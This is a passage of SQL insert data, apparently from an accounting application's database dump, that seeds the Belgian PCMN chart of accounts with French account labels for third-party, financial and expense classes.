retenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(974,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4530',973,'Précompte professionnel retenu sur rémunérations',NULL,0,NULL,NULL,1,0,NULL,NULL),(975,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4531',973,'Précompte professionnel retenu sur tantièmes',NULL,0,NULL,NULL,1,0,NULL,NULL),(976,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4532',973,'Précompte mobilier retenu sur dividendes attribués',NULL,0,NULL,NULL,1,0,NULL,NULL),(977,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4533',973,'Précompte mobilier retenu sur intérêts payés',NULL,0,NULL,NULL,1,0,NULL,NULL),(978,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4538',973,'Autres précomptes retenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(979,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','454',955,'Office National de la Sécurité Sociale',NULL,0,NULL,NULL,1,0,NULL,NULL),(980,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4540',979,'Arriérés',NULL,0,NULL,NULL,1,0,NULL,NULL),(981,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4541',979,'1er trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(982,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4542',979,'2ème trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(983,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4543',979,'3ème trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(984,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4544',979,'4ème trimestre',NULL,0,NULL,NULL,1,0,NULL,NULL),(985,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','455',955,'Rémunérations',NULL,0,NULL,NULL,1,0,NULL,NULL),(986,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4550',985,'Administrateurs, gérants et commissaires (non réviseurs)',NULL,0,NULL,NULL,1,0,NULL,NULL),(987,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4551',985,'Direction',NULL,0,NULL,NULL,1,0,NULL,NULL),(988,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4552',985,'Employés',NULL,0,NULL,NULL,1,0,NULL,NULL),(989,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4553',985,'Ouvriers',NULL,0,NULL,NULL,1,0,NULL,NULL),(990,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','456',955,'Pécules de vacances',NULL,0,NULL,NULL,1,0,NULL,NULL),(991,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4560',990,'Direction',NULL,0,NULL,NULL,1,0,NULL,NULL),(992,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4561',990,'Employés',NULL,0,NULL,NULL,1,0,NULL,NULL),(993,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4562',990,'Ouvriers',NULL,0,NULL,NULL,1,0,NULL,NULL),(994,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','459',955,'Autres dettes sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(995,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4590',994,'Provision pour gratifications de fin d\'année',NULL,0,NULL,NULL,1,0,NULL,NULL),(996,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4591',994,'Départs de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(997,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4592',994,'Oppositions sur rémunérations',NULL,0,NULL,NULL,1,0,NULL,NULL),(998,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4593',994,'Assurances relatives au personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(999,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45930',998,'Assurance loi',NULL,0,NULL,NULL,1,0,NULL,NULL),(1000,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45931',998,'Assurance salaire garanti',NULL,0,NULL,NULL,1,0,NULL,NULL),(1001,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45932',998,'Assurance groupe',NULL,0,NULL,NULL,1,0,NULL,NULL),(1002,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45933',998,'Assurances individuelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1003,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4594',994,'Caisse d\'assurances sociales pour travailleurs indépendants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1004,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4597',994,'Dettes et provisions sociales diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1005,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','46',1354,'Acomptes reçus sur commande',NULL,0,NULL,NULL,1,0,NULL,NULL),(1006,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','47',1354,'Dettes découlant de l\'affectation des résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1007,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','470',1006,'Dividendes et tantièmes d\'exercices antérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1008,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','471',1006,'Dividendes de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1009,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','472',1006,'Tantièmes de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1010,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','473',1006,'Autres allocataires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1011,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','48',4,'Dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1012,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','480',1011,'Obligations et coupons échus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1013,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','481',1011,'Actionnaires - capital à rembourser',NULL,0,NULL,NULL,1,0,NULL,NULL),(1014,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','482',1011,'Participation du personnel à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(1015,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','483',1011,'Acomptes reçus d\'autres tiers à moins d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1016,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','486',1011,'Emballages et matériel consignés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1017,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','488',1011,'Cautionnements reçus en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1018,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','489',1011,'Autres dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1019,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49',1354,'Comptes de régularisation et compte d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1020,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','490',1019,'Charges à reporter (à subdiviser par catégorie de charges)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1021,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','491',1019,'Produits acquis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1022,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4910',1021,'Produits d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1023,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49100',1022,'Ristournes et rabais à obtenir',NULL,0,NULL,NULL,1,0,NULL,NULL),(1024,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49101',1022,'Commissions à obtenir',NULL,0,NULL,NULL,1,0,NULL,NULL),(1025,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49102',1022,'Autres produits d\'exploitation (redevances par exemple)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1026,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4911',1021,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1027,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49110',1026,'Intérêts courus et non échus sur prêts et débits',NULL,0,NULL,NULL,1,0,NULL,NULL),(1028,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','49111',1026,'Autres produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1029,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','492',1019,'Charges à imputer (à subdiviser par catégorie de charges)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1030,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','493',1019,'Produits à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1031,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4930',1030,'Produits d\'exploitation à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1032,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4931',1030,'Produits financiers à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1033,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','499',1019,'Comptes d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1034,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4990',1033,'Compte d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1035,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4991',1033,'Compte de répartition périodique des charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1036,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4999',1033,'Transferts d\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1037,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','50',1355,'Actions propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(1038,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','51',1355,'Actions et parts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1039,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','510',1038,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(1040,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','511',1038,'Montants non appelés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1041,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','519',1038,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1042,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','52',1355,'Titres à revenus fixes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1043,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','520',1042,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(1044,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','529',1042,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1045,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','53',1355,'Dépots à terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(1046,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','530',1045,'De plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1047,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','531',1045,'De plus d\'un mois et à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1048,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','532',1045,'d\'un mois au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1049,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','539',1045,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1050,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','54',1355,'Valeurs échues à l\'encaissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1051,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','540',1050,'Chèques à encaisser',NULL,0,NULL,NULL,1,0,NULL,NULL),(1052,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','541',1050,'Coupons à encaisser',NULL,0,NULL,NULL,1,0,NULL,NULL),(1053,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','55',1355,'Etablissements de crédit - Comptes ouverts auprès des divers établissements.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1054,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','550',1053,'Comptes courants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1055,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','551',1053,'Chèques émis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1056,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','559',1053,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1057,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','56',1355,'Office des chèques postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1058,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','560',1057,'Compte courant',NULL,0,NULL,NULL,1,0,NULL,NULL),(1059,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','561',1057,'Chèques émis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1060,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','57',1355,'Caisses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1061,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','570',1060,'à 577 Caisses - espèces ( 0 - centrale ; 7 - succursales et agences)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1062,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','578',1060,'Caisses - timbres ( 0 - fiscaux ; 1 - postaux)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1063,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','FINAN','58',1355,'Virements internes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1064,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','60',1356,'Approvisionnements et marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1065,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','600',1064,'Achats de matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1066,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','601',1064,'Achats de fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(1067,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','602',1064,'Achats de services, travaux et études',NULL,0,NULL,NULL,1,0,NULL,NULL),(1068,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','603',1064,'Sous-traitances générales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1069,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','604',1064,'Achats de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1070,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','605',1064,'Achats d\'immeubles destinés à la revente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1071,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','608',1064,'Remises , ristournes et rabais obtenus sur achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1072,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','609',1064,'Variations de stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(1073,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6090',1072,'De matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1074,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6091',1072,'De fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(1075,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6094',1072,'De marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1076,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6095',1072,'d\'immeubles destinés à la vente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1077,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61',1356,'Services et biens divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1078,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','610',1077,'Loyers et charges locatives',NULL,0,NULL,NULL,1,0,NULL,NULL),(1079,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6100',1078,'Loyers divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1080,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6101',1078,'Charges locatives (assurances, frais de confort,etc)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1081,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','611',1077,'Entretien et réparation (fournitures et prestations)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1082,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','612',1077,'Fournitures faites à l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(1083,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6120',1082,'Eau, gaz, électricité, vapeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(1084,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61200',1083,'Eau',NULL,0,NULL,NULL,1,0,NULL,NULL),(1085,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61201',1083,'Gaz',NULL,0,NULL,NULL,1,0,NULL,NULL),(1086,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61202',1083,'Electricité',NULL,0,NULL,NULL,1,0,NULL,NULL),(1087,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61203',1083,'Vapeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(1088,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6121',1082,'Téléphone, télégrammes, télex, téléfax, frais postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1089,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61210',1088,'Téléphone',NULL,0,NULL,NULL,1,0,NULL,NULL),(1090,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61211',1088,'Télégrammes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1091,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61212',1088,'Télex et téléfax',NULL,0,NULL,NULL,1,0,NULL,NULL),(1092,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61213',1088,'Frais postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1093,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6122',1082,'Livres, bibliothèque',NULL,0,NULL,NULL,1,0,NULL,NULL),(1094,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6123',1082,'Imprimés et fournitures de bureau (si non comptabilisé au 601)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1095,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','613',1077,'Rétributions de tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1096,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6130',1095,'Redevances et royalties',NULL,0,NULL,NULL,1,0,NULL,NULL),(1097,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61300',1096,'Redevances pour brevets, licences, marques et accessoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1098,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61301',1096,'Autres redevances (procédés de fabrication)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1099,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6131',1095,'Assurances non relatives au personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1100,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61310',1099,'Assurance incendie',NULL,0,NULL,NULL,1,0,NULL,NULL),(1101,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61311',1099,'Assurance vol',NULL,0,NULL,NULL,1,0,NULL,NULL),(1102,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61312',1099,'Assurance autos',NULL,0,NULL,NULL,1,0,NULL,NULL),(1103,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61313',1099,'Assurance crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(1104,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61314',1099,'Assurances frais généraux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1105,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6132',1095,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1106,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61320',1105,'Commissions aux tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1107,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61321',1105,'Honoraires d\'avocats, d\'experts, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(1108,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61322',1105,'Cotisations aux groupements professionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1109,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61323',1105,'Dons, libéralités, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(1110,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61324',1105,'Frais de contentieux',NULL,0,NULL,NULL,1,0,NULL,NULL),(1111,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61325',1105,'Publications légales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1112,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6133',1095,'Transports et déplacements',NULL,0,NULL,NULL,1,0,NULL,NULL),(1113,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61330',1112,'Transports de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1114,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','61331',1112,'Voyages, déplacements et représentations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1115,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6134',1095,'Personnel intérimaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(1116,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','614',1077,'Annonces, publicité, propagande et documentation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1117,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6140',1116,'Annonces et insertions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1118,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6141',1116,'Catalogues et imprimés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1119,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6142',1116,'Echantillons',NULL,0,NULL,NULL,1,0,NULL,NULL),(1120,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6143',1116,'Foires et expositions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1121,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6144',1116,'Primes',NULL,0,NULL,NULL,1,0,NULL,NULL),(1122,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6145',1116,'Cadeaux à la clientèle',NULL,0,NULL,NULL,1,0,NULL,NULL),(1123,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6146',1116,'Missions et réceptions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1124,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6147',1116,'Documentation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1125,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','615',1077,'Sous-traitants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1126,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6150',1125,'Sous-traitants pour activités propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(1127,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6151',1125,'Sous-traitants d\'associations momentanées (coparticipants)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1128,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6152',1125,'Quote-part bénéficiaire des coparticipants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1129,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','617',1077,'Personnel intérimaire et personnes mises à la disposition de l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(1130,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','618',1077,'Rémunérations, primes pour assurances extralégales, pensions de retraite et de survie des administrateurs, gérants et associés actifs qui ne sont pas attribuées en vertu d\'un contrat de travail',NULL,0,NULL,NULL,1,0,NULL,NULL),(1131,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62',1356,'Rémunérations, charges sociales et pensions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1132,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','620',1131,'Rémunérations et avantages sociaux directs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1133,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6200',1132,'Administrateurs ou gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1134,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6201',1132,'Personnel de direction',NULL,0,NULL,NULL,1,0,NULL,NULL),(1135,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6202',1132,'Employés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1136,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6203',1132,'Ouvriers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1137,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6204',1132,'Autres membres du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1138,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','621',1131,'Cotisations patronales d\'assurances sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1139,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6210',1138,'Sur salaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1140,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6211',1138,'Sur appointements et commissions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1141,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','622',1131,'Primes patronales pour assurances extralégales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1142,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','623',1131,'Autres frais de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1143,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6230',1142,'Assurances du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1144,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62300',1143,'Assurances loi, responsabilité civile, chemin du travail',NULL,0,NULL,NULL,1,0,NULL,NULL),(1145,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62301',1143,'Assurance salaire garanti',NULL,0,NULL,NULL,1,0,NULL,NULL),(1146,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62302',1143,'Assurances individuelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1147,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6231',1142,'Charges sociales diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(1148,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62310',1147,'Jours fériés payés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1149,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62311',1147,'Salaire hebdomadaire garanti',NULL,0,NULL,NULL,1,0,NULL,NULL),(1150,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62312',1147,'Allocations familiales complémentaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1151,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6232',1142,'Charges sociales des administrateurs, gérants et commissaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1152,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','62320',1151,'Allocations familiales complémentaires pour non 